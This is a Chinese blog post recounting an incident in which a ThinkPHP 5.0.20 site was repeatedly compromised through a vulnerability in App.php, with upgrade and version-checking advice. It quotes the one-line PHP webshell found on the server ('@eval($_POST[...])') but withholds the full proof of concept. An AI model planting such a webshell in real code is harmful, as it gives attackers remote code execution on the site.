我们相信:世界是美好的,你是我也是。平行空间的世界里面,不同版本的生活也在继续...

本篇文章中,苏南大叔将要描述一个真实案例:黑客不知道通过什么方式,一直修改某公司的专题页面内容。某公司的运维大哥,急得头发都白了,连续N次被黑,饭碗马上就不保了。出于为兄弟排难解忧的目的,苏南大叔只好出马为他排查代码漏洞。

苏南大叔:真实黑客案例:thinkphp5网站一键变肉鸡 - thinkphp-bug-poc-hero
真实黑客案例:thinkphp5网站一键变肉鸡(图5-1)

拿到的这份代码就是基于thinkphp@5.0.20的,而且默认开启了thinkphplog日志功能。那么,最终的线索也就是从这里发现的。本来以为是老版本的漏洞呢,结果thinkphp@5.0.20这么新的版本里面,都存在着这么大的漏洞,真心是惊出一身冷汗啊。

漏洞描述

据运维兄弟描述,网站的根目录下面定期会生成一个名为xxx.php的文件,并且这个奇怪的.php文件打开之后,就是一个非常典型的一句话木马。

@eval($_POST[ggsmd]);

苏南大叔:真实黑客案例:thinkphp5网站一键变肉鸡 - thinkphp-trojan
真实黑客案例:thinkphp5网站一键变肉鸡(图5-2)

漏洞分析

该漏洞通过构造一个特殊的url,会触发thinkphp的文件生成功能。而通过这个特殊url的参数,来控制生成文件的名称及内容。由于涉及的thinkphp是最新的thinkphp5系列,那么,这个漏洞的危害程度真的很大。在苏南大叔的测试下,截至到发稿,最新的thinkphp@5.0.24中,并不存在这个漏洞,目前已知会影响的版本为:5.0.20

出问题的文件是:thinkphp/library/think/App.php

newsn.net:这里是【评论】可见内容

由于危害性比较大,这里苏南大叔就不展示完整的poc了。

newsn.net:这里是【作者】可见内容

其实这个漏洞不光是可以用来生成个木马,可以用于执行任何已经存在的php函数。所以,危害是非常大的。

防御方案

升级thinkphp版本到最新的5.0.24,目前可以暂时避免受到这个漏洞的波及。以thinkphp在国内的影响力来说,基于thinkphp@5.0.20的网站应该不在少数,而且不排除其它版本的thinkphp5也存在着类似的漏洞。所以,大家还是马上行动起来,防患于未然吧。

如何查看thinkphp版本号

那么问题来了,如何查看自己的thinkphp的版本号呢?不难,打印一下常量THINK_VERSION即可。

苏南大叔:真实黑客案例:thinkphp5网站一键变肉鸡 - think-version
真实黑客案例:thinkphp5网站一键变肉鸡(图5-4)

或者直接去thinkphp/base.php文件中查看一下即可。

这个定义的位置随着版本号不同而变化,所以,这里并非唯一答案。

苏南大叔:真实黑客案例:thinkphp5网站一键变肉鸡 - think-version2
真实黑客案例:thinkphp5网站一键变肉鸡(图5-5)

相关文章

总结

虽然为运维找到了漏洞所在,不过他们还是仅仅通过修改权限的办法暂时做了处理,话说这漏洞可是可以执行任何函数的啊。人家不生成文件,就不能执行别的函数了么... 治标不治本啊...

不过目前,阿里云也会智能检测到异常请求,自动封锁IP,不过一样治标不治本。

其实,本文的主要内容,是通过查看thinkphplog文件,苏南大叔在访客记录功能中发现这个非常邪门的入侵方式的。所以,站点日志还是比较有用的,对吧?更多thinkphp文章,请点击苏南大叔的博客:

如果本文对您有帮助,或者节约了您的时间,欢迎打赏瓶饮料,建立下友谊关系。
本博客不欢迎:各种镜像采集行为。请尊重原创文章内容,转载请保留作者链接。

 【福利】 腾讯云最新爆款活动!1核2G云服务器首年50元!

 【源码】本文代码片段及相关软件,请点此获取更多信息

 【绝密】秘籍文章入口,仅传授于有缘之人   php    thinkphp